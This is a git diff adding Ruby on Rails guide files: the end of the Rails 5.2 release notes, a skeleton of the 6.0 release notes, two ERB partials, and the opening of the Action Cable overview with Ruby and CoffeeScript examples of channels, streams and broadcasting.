`SchemaDumper.ignore_tables` in rake tasks for + databases structure dump. + ([Pull Request](https://github.com/rails/rails/pull/29077)) + +* Add `ActiveRecord::Base#cache_version` to support recyclable cache keys via + the new versioned entries in `ActiveSupport::Cache`. This also means that + `ActiveRecord::Base#cache_key` will now return a stable key that + does not include a timestamp any more. + ([Pull Request](https://github.com/rails/rails/pull/29092)) + +* Prevent creation of bind param if casted value is nil. + ([Pull Request](https://github.com/rails/rails/pull/29282)) + +* Use bulk INSERT to insert fixtures for better performance. + ([Pull Request](https://github.com/rails/rails/pull/29504)) + +* Merging two relations representing nested joins no longer transforms + the joins of the merged relation into LEFT OUTER JOIN. + ([Pull Request](https://github.com/rails/rails/pull/27063)) + +* Fix transactions to apply state to child transactions. + Previously, if you had a nested transaction and the outer transaction was + rolledback, the record from the inner transaction would still be marked + as persisted. It was fixed by applying the state of the parent + transaction to the child transaction when the parent transaction is + rolledback. This will correctly mark records from the inner transaction + as not persisted. + ([Commit](https://github.com/rails/rails/commit/0237da287eb4c507d10a0c6d94150093acc52b03)) + +* Fix eager loading/preloading association with scope including joins. + ([Pull Request](https://github.com/rails/rails/pull/29413)) + +* Prevent errors raised by `sql.active_record` notification subscribers + from being converted into `ActiveRecord::StatementInvalid` exceptions. + ([Pull Request](https://github.com/rails/rails/pull/29692)) + +* Skip query caching when working with batches of records + (`find_each`, `find_in_batches`, `in_batches`). + ([Commit](https://github.com/rails/rails/commit/b83852e6eed5789b23b13bac40228e87e8822b4d)) + +* Change sqlite3 boolean serialization to use 1 and 0. + SQLite natively recognizes 1 and 0 as true and false, but does not natively + recognize 't' and 'f' as was previously serialized. + ([Pull Request](https://github.com/rails/rails/pull/29699)) + +* Values constructed using multi-parameter assignment will now use the + post-type-cast value for rendering in single-field form inputs. + ([Commit](https://github.com/rails/rails/commit/1519e976b224871c7f7dd476351930d5d0d7faf6)) + +* `ApplicationRecord` is no longer generated when generating models. If you + need to generate it, it can be created with `rails g application_record`. + ([Pull Request](https://github.com/rails/rails/pull/29916)) + +* `Relation#or` now accepts two relations who have different values for + `references` only, as `references` can be implicitly called by `where`. + ([Commit](https://github.com/rails/rails/commit/ea6139101ccaf8be03b536b1293a9f36bc12f2f7)) + +* When using `Relation#or`, extract the common conditions and + put them before the OR condition. + ([Pull Request](https://github.com/rails/rails/pull/29950)) + +* Add `binary` fixture helper method. + ([Pull Request](https://github.com/rails/rails/pull/30073)) + +* Automatically guess the inverse associations for STI. + ([Pull Request](https://github.com/rails/rails/pull/23425)) + +* Add new error class `LockWaitTimeout` which will be raised + when lock wait timeout exceeded. + ([Pull Request](https://github.com/rails/rails/pull/30360)) + +* Update payload names for `sql.active_record` instrumentation to be + more descriptive. + ([Pull Request](https://github.com/rails/rails/pull/30619)) + +* Use given algorithm while removing index from database. + ([Pull Request](https://github.com/rails/rails/pull/24199)) + +* Passing a `Set` to `Relation#where` now behaves the same as passing + an array. + ([Commit](https://github.com/rails/rails/commit/9cf7e3494f5bd34f1382c1ff4ea3d811a4972ae2)) + +* PostgreSQL `tsrange` now preserves subsecond precision. + ([Pull Request](https://github.com/rails/rails/pull/30725)) + +* Raises when calling `lock!` in a dirty record. + ([Commit](https://github.com/rails/rails/commit/63cf15877bae859ff7b4ebaf05186f3ca79c1863)) + +* Fixed a bug where column orders for an index weren't written to + `db/schema.rb` when using the sqlite adapter. + ([Pull Request](https://github.com/rails/rails/pull/30970)) + +* Fix `bin/rails db:migrate` with specified `VERSION`. + `bin/rails db:migrate` with empty VERSION behaves as without `VERSION`. + Check a format of `VERSION`: Allow a migration version number + or name of a migration file. Raise error if format of `VERSION` is invalid. + Raise error if target migration doesn't exist. + ([Pull Request](https://github.com/rails/rails/pull/30714)) + +* Add new error class `StatementTimeout` which will be raised + when statement timeout exceeded. + ([Pull Request](https://github.com/rails/rails/pull/31129)) + +* `update_all` will now pass its values to `Type#cast` before passing them to + `Type#serialize`. This means that `update_all(foo: 'true')` will properly + persist a boolean. + ([Commit](https://github.com/rails/rails/commit/68fe6b08ee72cc47263e0d2c9ff07f75c4b42761)) + +* Require raw SQL fragments to be explicitly marked when used in + relation query methods. + ([Commit](https://github.com/rails/rails/commit/a1ee43d2170dd6adf5a9f390df2b1dde45018a48), + [Commit](https://github.com/rails/rails/commit/e4a921a75f8702a7dbaf41e31130fe884dea93f9)) + +* Add `#up_only` to database migrations for code that is only relevant when + migrating up, e.g. populating a new column. + ([Pull Request](https://github.com/rails/rails/pull/31082)) + +* Add new error class `QueryCanceled` which will be raised + when canceling statement due to user request. + ([Pull Request](https://github.com/rails/rails/pull/31235)) + +* Don't allow scopes to be defined which conflict with instance methods + on `Relation`. + ([Pull Request](https://github.com/rails/rails/pull/31179)) + +* Add support for PostgreSQL operator classes to `add_index`. + ([Pull Request](https://github.com/rails/rails/pull/19090)) + +* Log database query callers. + ([Pull Request](https://github.com/rails/rails/pull/26815), + [Pull Request](https://github.com/rails/rails/pull/31519), + [Pull Request](https://github.com/rails/rails/pull/31690)) + +* Undefine attribute methods on descendants when resetting column information. + ([Pull Request](https://github.com/rails/rails/pull/31475)) + +* Using subselect for `delete_all` with `limit` or `offset`. + ([Commit](https://github.com/rails/rails/commit/9e7260da1bdc0770cf4ac547120c85ab93ff3d48)) + +* Fixed inconsistency with `first(n)` when used with `limit()`. + The `first(n)` finder now respects the `limit()`, making it consistent + with `relation.to_a.first(n)`, and also with the behavior of `last(n)`. + ([Pull Request](https://github.com/rails/rails/pull/27597)) + +* Fix nested `has_many :through` associations on unpersisted parent instances. + ([Commit](https://github.com/rails/rails/commit/027f865fc8b262d9ba3ee51da3483e94a5489b66)) + +* Take into account association conditions when deleting through records. + ([Commit](https://github.com/rails/rails/commit/ae48c65e411e01c1045056562319666384bb1b63)) + +* Don't allow destroyed object mutation after `save` or `save!` is called. + ([Commit](https://github.com/rails/rails/commit/562dd0494a90d9d47849f052e8913f0050f3e494)) + +* Fix relation merger issue with `left_outer_joins`. + ([Pull Request](https://github.com/rails/rails/pull/27860)) + +* Support for PostgreSQL foreign tables. + ([Pull Request](https://github.com/rails/rails/pull/31549)) + +* Clear the transaction state when an Active Record object is duped. + ([Pull Request](https://github.com/rails/rails/pull/31751)) + +* Fix not expanded problem when passing an Array object as argument + to the where method using `composed_of` column. + ([Pull Request](https://github.com/rails/rails/pull/31724)) + +* Make `reflection.klass` raise if `polymorphic?` not to be misused. + ([Commit](https://github.com/rails/rails/commit/63fc1100ce054e3e11c04a547cdb9387cd79571a)) + +* Fix `#columns_for_distinct` of MySQL and PostgreSQL to make + `ActiveRecord::FinderMethods#limited_ids_for` use correct primary key values + even if `ORDER BY` columns include other table's primary key. + ([Commit](https://github.com/rails/rails/commit/851618c15750979a75635530200665b543561a44)) + +* Fix `dependent: :destroy` issue for has_one/belongs_to relationship where + the parent class was getting deleted when the child was not. + ([Commit](https://github.com/rails/rails/commit/b0fc04aa3af338d5a90608bf37248668d59fc881)) + +Active Model +------------ + +Please refer to the [Changelog][active-model] for detailed changes. + +### Notable changes + +* Fix methods `#keys`, `#values` in `ActiveModel::Errors`. + Change `#keys` to only return the keys that don't have empty messages. + Change `#values` to only return the not empty values. + ([Pull Request](https://github.com/rails/rails/pull/28584)) + +* Add method `#merge!` for `ActiveModel::Errors`. + ([Pull Request](https://github.com/rails/rails/pull/29714)) + +* Allow passing a Proc or Symbol to length validator options. + ([Pull Request](https://github.com/rails/rails/pull/30674)) + +* Execute `ConfirmationValidator` validation when `_confirmation`'s value + is `false`. + ([Pull Request](https://github.com/rails/rails/pull/31058)) + +* Models using the attributes API with a proc default can now be marshalled. + ([Commit](https://github.com/rails/rails/commit/0af36c62a5710e023402e37b019ad9982e69de4b)) + +* Do not lose all multiple `:includes` with options in serialization. + ([Commit](https://github.com/rails/rails/commit/853054bcc7a043eea78c97e7705a46abb603cc44)) + +Active Support +-------------- + +Please refer to the [Changelog][active-support] for detailed changes. + +### Removals + +* Remove deprecated `:if` and `:unless` string filter for callbacks. + ([Commit](https://github.com/rails/rails/commit/c792354adcbf8c966f274915c605c6713b840548)) + +* Remove deprecated `halt_callback_chains_on_return_false` option. + ([Commit](https://github.com/rails/rails/commit/19fbbebb1665e482d76cae30166b46e74ceafe29)) + +### Deprecations + +* Deprecate `Module#reachable?` method. + ([Pull Request](https://github.com/rails/rails/pull/30624)) + +* Deprecate `secrets.secret_token`. + ([Commit](https://github.com/rails/rails/commit/fbcc4bfe9a211e219da5d0bb01d894fcdaef0a0e)) + +### Notable changes + +* Add `fetch_values` for `HashWithIndifferentAccess`. + ([Pull Request](https://github.com/rails/rails/pull/28316)) + +* Add support for `:offset` to `Time#change`. + ([Commit](https://github.com/rails/rails/commit/851b7f866e13518d900407c78dcd6eb477afad06)) + +* Add support for `:offset` and `:zone` + to `ActiveSupport::TimeWithZone#change`. + ([Commit](https://github.com/rails/rails/commit/851b7f866e13518d900407c78dcd6eb477afad06)) + +* Pass gem name and deprecation horizon to deprecation notifications. + ([Pull Request](https://github.com/rails/rails/pull/28800)) + +* Add support for versioned cache entries. This enables the cache stores to + recycle cache keys, greatly saving on storage in cases with frequent churn. + Works together with the separation of `#cache_key` and `#cache_version` + in Active Record and its use in Action Pack's fragment caching. + ([Pull Request](https://github.com/rails/rails/pull/29092)) + +* Add `ActiveSupport::CurrentAttributes` to provide a thread-isolated + attributes singleton. Primary use case is keeping all the per-request + attributes easily available to the whole system. + ([Pull Request](https://github.com/rails/rails/pull/29180)) + +* `#singularize` and `#pluralize` now respect uncountables for + the specified locale. + ([Commit](https://github.com/rails/rails/commit/352865d0f835c24daa9a2e9863dcc9dde9e5371a)) + +* Add default option to `class_attribute`. + ([Pull Request](https://github.com/rails/rails/pull/29270)) + +* Add `Date#prev_occurring` and `Date#next_occurring` to return + specified next/previous occurring day of week. + ([Pull Request](https://github.com/rails/rails/pull/26600)) + +* Add default option to module and class attribute accessors. + ([Pull Request](https://github.com/rails/rails/pull/29294)) + +* Cache: `write_multi`. + ([Pull Request](https://github.com/rails/rails/pull/29366)) + +* Default `ActiveSupport::MessageEncryptor` to use AES 256 GCM encryption. + ([Pull Request](https://github.com/rails/rails/pull/29263)) + +* Add `freeze_time` helper which freezes time to `Time.now` in tests. + ([Pull Request](https://github.com/rails/rails/pull/29681)) + +* Make the order of `Hash#reverse_merge!` consistent + with `HashWithIndifferentAccess`. + ([Pull Request](https://github.com/rails/rails/pull/28077)) + +* Add purpose and expiry support to `ActiveSupport::MessageVerifier` and + `ActiveSupport::MessageEncryptor`. + ([Pull Request](https://github.com/rails/rails/pull/29892)) + +* Update `String#camelize` to provide feedback when wrong option is passed. + ([Pull Request](https://github.com/rails/rails/pull/30039)) + +* `Module#delegate_missing_to` now raises `DelegationError` if target is nil, + similar to `Module#delegate`. + ([Pull Request](https://github.com/rails/rails/pull/30191)) + +* Add `ActiveSupport::EncryptedFile` and + `ActiveSupport::EncryptedConfiguration`. + ([Pull Request](https://github.com/rails/rails/pull/30067)) + +* Add `config/credentials.yml.enc` to store production app secrets. + ([Pull Request](https://github.com/rails/rails/pull/30067)) + +* Add key rotation support to `MessageEncryptor` and `MessageVerifier`. + ([Pull Request](https://github.com/rails/rails/pull/29716)) + +* Return an instance of `HashWithIndifferentAccess` from + `HashWithIndifferentAccess#transform_keys`. + ([Pull Request](https://github.com/rails/rails/pull/30728)) + +* `Hash#slice` now falls back to Ruby 2.5+'s built-in definition if defined. + ([Commit](https://github.com/rails/rails/commit/01ae39660243bc5f0a986e20f9c9bff312b1b5f8)) + +* `IO#to_json` now returns the `to_s` representation, rather than + attempting to convert to an array. This fixes a bug where `IO#to_json` + would raise an `IOError` when called on an unreadable object. + ([Pull Request](https://github.com/rails/rails/pull/30953)) + +* Add same method signature for `Time#prev_day` and `Time#next_day` + in accordance with `Date#prev_day`, `Date#next_day`. + Allows pass argument for `Time#prev_day` and `Time#next_day`. + ([Commit](https://github.com/rails/rails/commit/61ac2167eff741bffb44aec231f4ea13d004134e)) + +* Add same method signature for `Time#prev_month` and `Time#next_month` + in accordance with `Date#prev_month`, `Date#next_month`. + Allows pass argument for `Time#prev_month` and `Time#next_month`. + ([Commit](https://github.com/rails/rails/commit/f2c1e3a793570584d9708aaee387214bc3543530)) + +* Add same method signature for `Time#prev_year` and `Time#next_year` + in accordance with `Date#prev_year`, `Date#next_year`. + Allows pass argument for `Time#prev_year` and `Time#next_year`. + ([Commit](https://github.com/rails/rails/commit/ee9d81837b5eba9d5ec869ae7601d7ffce763e3e)) + +* Fix acronym support in `humanize`. + ([Commit](https://github.com/rails/rails/commit/0ddde0a8fca6a0ca3158e3329713959acd65605d)) + +* Allow `Range#include?` on TWZ ranges. + ([Pull Request](https://github.com/rails/rails/pull/31081)) + +* Cache: Enable compression by default for values > 1kB. + ([Pull Request](https://github.com/rails/rails/pull/31147)) + +* Redis cache store. + ([Pull Request](https://github.com/rails/rails/pull/31134), + [Pull Request](https://github.com/rails/rails/pull/31866)) + +* Handle `TZInfo::AmbiguousTime` errors. + ([Pull Request](https://github.com/rails/rails/pull/31128)) + +* MemCacheStore: Support expiring counters. + ([Commit](https://github.com/rails/rails/commit/b22ee64b5b30c6d5039c292235e10b24b1057f6d)) + +* Make `ActiveSupport::TimeZone.all` return only time zones that are in + `ActiveSupport::TimeZone::MAPPING`. + ([Pull Request](https://github.com/rails/rails/pull/31176)) + +* Changed default behaviour of `ActiveSupport::SecurityUtils.secure_compare`, + to make it not leak length information even for variable length string. + Renamed old `ActiveSupport::SecurityUtils.secure_compare` to + `fixed_length_secure_compare`, and started raising `ArgumentError` in + case of length mismatch of passed strings. + ([Pull Request](https://github.com/rails/rails/pull/24510)) + +* Use SHA-1 to generate non-sensitive digests, such as the ETag header. + ([Pull Request](https://github.com/rails/rails/pull/31289), + [Pull Request](https://github.com/rails/rails/pull/31651)) + +* `assert_changes` will always assert that the expression changes, + regardless of `from:` and `to:` argument combinations. + ([Pull Request](https://github.com/rails/rails/pull/31011)) + +* Add missing instrumentation for `read_multi` + in `ActiveSupport::Cache::Store`. + ([Pull Request](https://github.com/rails/rails/pull/30268)) + +* Support hash as first argument in `assert_difference`. + This allows to specify multiple numeric differences in the same assertion. + ([Pull Request](https://github.com/rails/rails/pull/31600)) + +* Caching: MemCache and Redis `read_multi` and `fetch_multi` speedup. + Read from the local in-memory cache before consulting the backend. + ([Commit](https://github.com/rails/rails/commit/a2b97e4ffef971607a1be8fc7909f099b6840f36)) + +Active Job +---------- + +Please refer to the [Changelog][active-job] for detailed changes. + +### Notable changes + +* Allow block to be passed to `ActiveJob::Base.discard_on` to allow custom + handling of discard jobs. + ([Pull Request](https://github.com/rails/rails/pull/30622)) + +Ruby on Rails Guides +-------------------- + +Please refer to the [Changelog][guides] for detailed changes. + +### Notable changes + +* Add + [Threading and Code Execution in Rails](threading_and_code_execution.html) + Guide. + ([Pull Request](https://github.com/rails/rails/pull/27494)) + +* Add [Active Storage Overview](active_storage_overview.html) Guide. + ([Pull Request](https://github.com/rails/rails/pull/31037)) + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) +for the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them. + +[railties]: https://github.com/rails/rails/blob/5-2-stable/railties/CHANGELOG.md +[action-pack]: https://github.com/rails/rails/blob/5-2-stable/actionpack/CHANGELOG.md +[action-view]: https://github.com/rails/rails/blob/5-2-stable/actionview/CHANGELOG.md +[action-mailer]: https://github.com/rails/rails/blob/5-2-stable/actionmailer/CHANGELOG.md +[action-cable]: https://github.com/rails/rails/blob/5-2-stable/actioncable/CHANGELOG.md +[active-record]: https://github.com/rails/rails/blob/5-2-stable/activerecord/CHANGELOG.md +[active-model]: https://github.com/rails/rails/blob/5-2-stable/activemodel/CHANGELOG.md +[active-support]: https://github.com/rails/rails/blob/5-2-stable/activesupport/CHANGELOG.md +[active-job]: https://github.com/rails/rails/blob/5-2-stable/activejob/CHANGELOG.md +[guides]: https://github.com/rails/rails/blob/5-2-stable/guides/CHANGELOG.md diff --git a/guides/source/6_0_release_notes.md b/guides/source/6_0_release_notes.md new file mode 100644 index 0000000000..f3ed21dc45 --- /dev/null +++ b/guides/source/6_0_release_notes.md @@ -0,0 +1,175 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 6.0 Release Notes +=============================== + +Highlights in Rails 6.0: + +* Parallel Testing + +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/6-0-stable) in the main Rails +repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 6.0 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 5.2 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 6.0. A list of things to watch out for when upgrading is +available in the +[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-2-to-rails-6-0) +guide. + +Major Features +-------------- + +### Parallel Testing + +[Pull Request](https://github.com/rails/rails/pull/31900) + +[Parallel Testing](testing.html#parallel-testing) allows you to parallelize your +test suite. While forking processes is the default method, threading is +supported as well. Running tests in parallel reduces the time it takes +your entire test suite to run. + +Railties +-------- + +Please refer to the [Changelog][railties] for detailed changes. + +### Removals + +### Deprecations + +### Notable changes + +Action Cable +------------ + +Please refer to the [Changelog][action-cable] for detailed changes. + +### Removals + +### Deprecations + +### Notable changes + +Action Pack +----------- + +Please refer to the [Changelog][action-pack] for detailed changes. + +### Removals + +### Deprecations + +### Notable changes + +Action View +----------- + +Please refer to the [Changelog][action-view] for detailed changes. + +### Removals + +### Deprecations + +### Notable changes + +Action Mailer +------------- + +Please refer to the [Changelog][action-mailer] for detailed changes. + +### Removals + +### Deprecations + +### Notable changes + +Active Record +------------- + +Please refer to the [Changelog][active-record] for detailed changes. + +### Removals + +### Deprecations + +### Notable changes + +Active Storage +-------------- + +Please refer to the [Changelog][active-storage] for detailed changes. + +### Removals + +### Deprecations + +### Notable changes + +Active Model +------------ + +Please refer to the [Changelog][active-model] for detailed changes. + +### Removals + +### Deprecations + +### Notable changes + +Active Support +-------------- + +Please refer to the [Changelog][active-support] for detailed changes. + +### Removals + +### Deprecations + +### Notable changes + +Active Job +---------- + +Please refer to the [Changelog][active-job] for detailed changes. + +### Removals + +### Deprecations + +### Notable changes + +Ruby on Rails Guides +-------------------- + +Please refer to the [Changelog][guides] for detailed changes. + +### Notable changes + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) +for the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them. + +[railties]: https://github.com/rails/rails/blob/6-0-stable/railties/CHANGELOG.md +[action-pack]: https://github.com/rails/rails/blob/6-0-stable/actionpack/CHANGELOG.md +[action-view]: https://github.com/rails/rails/blob/6-0-stable/actionview/CHANGELOG.md +[action-mailer]: https://github.com/rails/rails/blob/6-0-stable/actionmailer/CHANGELOG.md +[action-cable]: https://github.com/rails/rails/blob/6-0-stable/actioncable/CHANGELOG.md +[active-record]: https://github.com/rails/rails/blob/6-0-stable/activerecord/CHANGELOG.md +[active-storage]: https://github.com/rails/rails/blob/6-0-stable/activestorage/CHANGELOG.md +[active-model]: https://github.com/rails/rails/blob/6-0-stable/activemodel/CHANGELOG.md +[active-support]: https://github.com/rails/rails/blob/6-0-stable/activesupport/CHANGELOG.md +[active-job]: https://github.com/rails/rails/blob/6-0-stable/activejob/CHANGELOG.md +[guides]: https://github.com/rails/rails/blob/6-0-stable/guides/CHANGELOG.md diff --git a/guides/source/_license.html.erb b/guides/source/_license.html.erb new file mode 100644 index 0000000000..d22f016948 --- /dev/null +++ b/guides/source/_license.html.erb @@ -0,0 +1,2 @@ +<p>This work is licensed under a <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike 4.0 International</a> License</p> +<p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p> diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb new file mode 100644 index 0000000000..bf00ee08e5 --- /dev/null +++ b/guides/source/_welcome.html.erb @@ -0,0 +1,29 @@ +<h2>Ruby on Rails Guides (<%= @edge ? @edge[0, 7] : @version %>)</h2> + +<% if @edge %> +<p> + These are <b>Edge Guides</b>, based on <a href="https://github.com/rails/rails/tree/<%= @edge %>">master@<%= @edge[0, 7] %></a>. +</p> +<p> + If you are looking for the ones for the stable version, please check + <a href="https://guides.rubyonrails.org">https://guides.rubyonrails.org</a> instead. +</p> +<% else %> +<p> + These are the new guides for Rails 5.2 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>. + These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. +</p> +<% end %> +<p> +The guides for earlier releases: +<a href="https://guides.rubyonrails.org/v5.2/">Rails 5.2</a>, +<a href="https://guides.rubyonrails.org/v5.1/">Rails 5.1</a>, +<a href="https://guides.rubyonrails.org/v5.0/">Rails 5.0</a>, +<a href="https://guides.rubyonrails.org/v4.2/">Rails 4.2</a>, +<a href="https://guides.rubyonrails.org/v4.1/">Rails 4.1</a>, +<a href="https://guides.rubyonrails.org/v4.0/">Rails 4.0</a>, +<a href="https://guides.rubyonrails.org/v3.2/">Rails 3.2</a>, +<a href="https://guides.rubyonrails.org/v3.1/">Rails 3.1</a>, +<a href="https://guides.rubyonrails.org/v3.0/">Rails 3.0</a>, and +<a href="https://guides.rubyonrails.org/v2.3/">Rails 2.3</a>. +</p> diff --git a/guides/source/action_cable_overview.md b/guides/source/action_cable_overview.md new file mode 100644 index 0000000000..2f602c3e0a --- /dev/null +++ b/guides/source/action_cable_overview.md @@ -0,0 +1,692 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Action Cable Overview +===================== + +In this guide, you will learn how Action Cable works and how to use WebSockets to +incorporate real-time features into your Rails application. + +After reading this guide, you will know: + +* What Action Cable is and its integration backend and frontend +* How to setup Action Cable +* How to setup channels +* Deployment and Architecture setup for running Action Cable + +-------------------------------------------------------------------------------- + +Introduction +------------ + +Action Cable seamlessly integrates +[WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your +Rails application. It allows for real-time features to be written in Ruby in the +same style and form as the rest of your Rails application, while still being +performant and scalable. It's a full-stack offering that provides both a +client-side JavaScript framework and a server-side Ruby framework. You have +access to your full domain model written with Active Record or your ORM of +choice. + +What is Pub/Sub +--------------- + +[Pub/Sub](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern), or +Publish-Subscribe, refers to a message queue paradigm whereby senders of +information (publishers), send data to an abstract class of recipients +(subscribers), without specifying individual recipients. Action Cable uses this +approach to communicate between the server and many clients. + +## Server-Side Components + +### Connections + +*Connections* form the foundation of the client-server relationship. For every +WebSocket accepted by the server, a connection object is instantiated. This +object becomes the parent of all the *channel subscriptions* that are created +from there on. The connection itself does not deal with any specific application +logic beyond authentication and authorization. The client of a WebSocket +connection is called the connection *consumer*. An individual user will create +one consumer-connection pair per browser tab, window, or device they have open. + +Connections are instances of `ApplicationCable::Connection`. In this class, you +authorize the incoming connection, and proceed to establish it if the user can +be identified. + +#### Connection Setup + +```ruby +# app/channels/application_cable/connection.rb +module ApplicationCable + class Connection < ActionCable::Connection::Base + identified_by :current_user + + def connect + self.current_user = find_verified_user + end + + private + def find_verified_user + if verified_user = User.find_by(id: cookies.encrypted[:user_id]) + verified_user + else + reject_unauthorized_connection + end + end + end +end +``` + +Here `identified_by` is a connection identifier that can be used to find the +specific connection later. Note that anything marked as an identifier will automatically +create a delegate by the same name on any channel instances created off the connection. + +This example relies on the fact that you will already have handled authentication of the user +somewhere else in your application, and that a successful authentication sets a signed +cookie with the user ID. + +The cookie is then automatically sent to the connection instance when a new connection +is attempted, and you use that to set the `current_user`. By identifying the connection +by this same current user, you're also ensuring that you can later retrieve all open +connections by a given user (and potentially disconnect them all if the user is deleted +or unauthorized). + +### Channels + +A *channel* encapsulates a logical unit of work, similar to what a controller does in a +regular MVC setup. By default, Rails creates a parent `ApplicationCable::Channel` class +for encapsulating shared logic between your channels. + +#### Parent Channel Setup + +```ruby +# app/channels/application_cable/channel.rb +module ApplicationCable + class Channel < ActionCable::Channel::Base + end +end +``` + +Then you would create your own channel classes. For example, you could have a +`ChatChannel` and an `AppearanceChannel`: + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel +end + +# app/channels/appearance_channel.rb +class AppearanceChannel < ApplicationCable::Channel +end +``` + +A consumer could then be subscribed to either or both of these channels. + +#### Subscriptions + +Consumers subscribe to channels, acting as *subscribers*. Their connection is +called a *subscription*. Produced messages are then routed to these channel +subscriptions based on an identifier sent by the cable consumer. + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel + # Called when the consumer has successfully + # become a subscriber to this channel. + def subscribed + end +end +``` + +## Client-Side Components + +### Connections + +Consumers require an instance of the connection on their side. This can be +established using the following JavaScript, which is generated by default by Rails: + +#### Connect Consumer + +```js +// app/assets/javascripts/cable.js +//= require action_cable +//= require_self +//= require_tree ./channels + +(function() { + this.App || (this.App = {}); + + App.cable = ActionCable.createConsumer(); +}).call(this); +``` + +This will ready a consumer that'll connect against `/cable` on your server by default. +The connection won't be established until you've also specified at least one subscription +you're interested in having. + +#### Subscriber + +A consumer becomes a subscriber by creating a subscription to a given channel: + +```coffeescript +# app/assets/javascripts/cable/subscriptions/chat.coffee +App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" } + +# app/assets/javascripts/cable/subscriptions/appearance.coffee +App.cable.subscriptions.create { channel: "AppearanceChannel" } +``` + +While this creates the subscription, the functionality needed to respond to +received data will be described later on. + +A consumer can act as a subscriber to a given channel any number of times. For +example, a consumer could subscribe to multiple chat rooms at the same time: + +```coffeescript +App.cable.subscriptions.create { channel: "ChatChannel", room: "1st Room" } +App.cable.subscriptions.create { channel: "ChatChannel", room: "2nd Room" } +``` + +## Client-Server Interactions + +### Streams + +*Streams* provide the mechanism by which channels route published content +(broadcasts) to their subscribers. + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel + def subscribed + stream_from "chat_#{params[:room]}" + end +end +``` + +If you have a stream that is related to a model, then the broadcasting used +can be generated from the model and channel. The following example would +subscribe to a broadcasting like `comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE` + +```ruby +class CommentsChannel < ApplicationCable::Channel + def subscribed + post = Post.find(params[:id]) + stream_for post + end +end +``` + +You can then broadcast to this channel like this: + +```ruby +CommentsChannel.broadcast_to(@post, @comment) +``` + +### Broadcasting + +A *broadcasting* is a pub/sub link where anything transmitted by a publisher +is routed directly to the channel subscribers who are streaming that named +broadcasting. Each channel can be streaming zero or more broadcastings. + +Broadcastings are purely an online queue and time-dependent. If a consumer is +not streaming (subscribed to a given channel), they'll not get the broadcast +should they connect later. + +Broadcasts are called elsewhere in your Rails application: + +```ruby +WebNotificationsChannel.broadcast_to( + current_user, + title: 'New things!', + body: 'All the news fit to print' +) +``` + +The `WebNotificationsChannel.broadcast_to` call places a message in the current +subscription adapter's pubsub queue under a separate broadcasting name for each user. +The default pubsub queue for Action Cable is `redis` in production and `async` in development and +test environments. For a user with an ID of 1, the broadcasting name would be `web_notifications:1`. + +The channel has been instructed to stream everything that arrives at +`web_notifications:1` directly to the client by invoking the `received` +callback. + +### Subscriptions + +When a consumer is subscribed to a channel, they act as a subscriber. This +connection is called a subscription. Incoming messages are then routed to +these channel subscriptions based on an identifier sent by the cable consumer. + +```coffeescript +# app/assets/javascripts/cable/subscriptions/chat.coffee +# Assumes you've already requested the right to send web notifications +App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }, + received: (data) -> + @appendLine(data) + + appendLine: (data) -> + html = @createLine(data) + $("[data-chat-room='Best Room']").append(html) + + createLine: (data) -> + """ + <article class="chat-line"> + <span class="speaker">#{data["sent_by"]}</span> + <span class="body">#{data["body"]}</span> + </article> + """ +``` + +### Passing Parameters to Channels + +You can pass parameters from the client side to the server side when creating a +subscription. For example: + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel + def subscribed + stream_from "chat_#{params[:room]}" + end +end +``` + +An object passed as the first argument to `subscriptions.create` becomes the +params hash in the cable channel. The keyword `channel` is required: + +```coffeescript +# app/assets/javascripts/cable/subscriptions/chat.coffee +App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }, + received: (data) -> + @appendLine(data) + + appendLine: (data) -> + html = @createLine(data) + $("[data-chat-room='Best Room']").append(html) + + createLine: (data) -> + """ + <article class="chat-line"> + <span class="speaker">#{data["sent_by"]}</span> + <span class="body">#{data["body"]}</span> + </article> + """ +``` + +```ruby +# Somewhere in your app this is called, perhaps +# from a NewCommentJob. +ActionCable.server.broadcast( + "chat_#{room}", + sent_by: 'Paul', + body: 'This is a cool chat app.' +) +``` + +### Rebroadcasting a Message + +A common use case is to *rebroadcast* a message sent by one client to any +other connected clients. + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel + def subscribed + stream_from "chat_#{params[:room]}" + end + + def receive(data) + ActionCable.server.broadcast("chat_#{params[:room]}", data) + end +end +``` + +```coffeescript +# app/assets/javascripts/cable/subscriptions/chat.coffee +App.chatChannel = App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }, + received: (data) -> + # data => { sent_by: "Paul", body: "This is a cool chat app." } + +App.chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." }) +``` + +The rebroadcast will be received by all connected clients, _including_ the +client that sent the message. Note that params are the same as they were when +you subscribed to the channel. + +## Full-Stack Examples + 